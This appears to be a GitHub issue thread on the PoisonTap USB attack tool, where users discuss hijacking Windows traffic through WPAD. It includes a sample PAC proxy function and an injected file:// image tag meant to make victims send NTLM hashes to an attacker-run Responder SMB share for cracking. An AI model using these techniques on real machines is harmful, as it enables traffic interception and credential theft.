WPAD?

[neeksor]

Have you tried to force feed a windows 'victim' a WPAD response to get some of that sweet https action?

[samyk]

Great idea! I haven't tried it, but agree supporting WPAD on the DHCP and DNS server would be great...in fact, by injecting a PAC, you could then get the user to send all of their HTTPS URLs back to the attacker.

[ghost]

just wanted to say i love your work!

[neeksor]

You just need to answer DNS A requests for WPAD.* With an http server listening at the IP and responding to GET requests for /wpad.dat Respond with content-type set to: application/x-ns-proxy-autoconfig and the PAC:

function FindProxyForURL(url, host){ return 'PROXY proxyhost:3141; DIRECT'; }

You could also force NTLM authentication when the wpad is requested and other fun things. https://github.com/lgandx/Responder

[samyk]

The reason I mention DHCP is that A) typically the WPAD DNS request is only done on browser startup in my understanding and in our case the browser is already open, and B) it's possible the DNS server is pointing to a local IP, meaning PoisonTap will never see those WPAD DNS requests (PoisonTap can only then interfere with the HTTP communication to the public IPs that are ultimately resolved by the internal DNS server), however PoisonTap does still have the ability to include WPAD during the DHCP response.

[Oneiroi]

Presumably you have seen the work from mubix https://room362.com/post/2016/snagging-creds-from-locked-machines/ ? that uses WPAD via responder (https://github.com/SpiderLabs/Responder) to carry out the attack

[mame82]

@Oneiroi @samyk Although this discussion is a bit outdated: Unfortunately the WPAD Auth attack isn't working since MS16-112 and never worked on non-domain joined boxes. But with the approach of @samyk something new comes into mind: As code could be injected into nearly every HTTP response, something like <img src="file://PoisonTapIP/"> would initiate a request to an SMB share. If the SMB Server would be backed by responder, NTLM hashes of windows machines will be captured (with known challenge) an could be cracked offline. Right now I'm working on exactly this and had to extend some Responder features which are pending in a PR (see issue here for details). The project isn't ready to be released, but right now I'm already able to do some nifty things, which maybe could be nice features for PoisonTap, too. These are:

• Providing a Plug'n'Play RNDIS device to most Windows 7/8/10 hosts (no manual driver installation)
• Providing a CDC ECM interface to Linux
• Runtime detection of active interface and thus single DHCP config for both, ECM and RNDIS
• HTTP request pawning, based on @samyk approach of 1 Bit netmask

As I'm using a hand build composite gadget I plan to add in HID support, which needs testing - as I don't want to destroy the Plug'n'Play capability.

So as the needed Responder patches are already sent with a PR, you're maybe interested.

Another idea is to use nmap for target OS discovery, with the shortcoming raising boot time of the Pi - so this has to be tested, too.

[mame82]

@samyk

I'm still cleaning my scripts to bring my (now called P4wnP1) project online. I want to kindly ask you to review the "Modification to PoisonTap approach of fetching traffic to the whole IPv4 address range" section of my README, because I want to make sure you don't have any implications with it.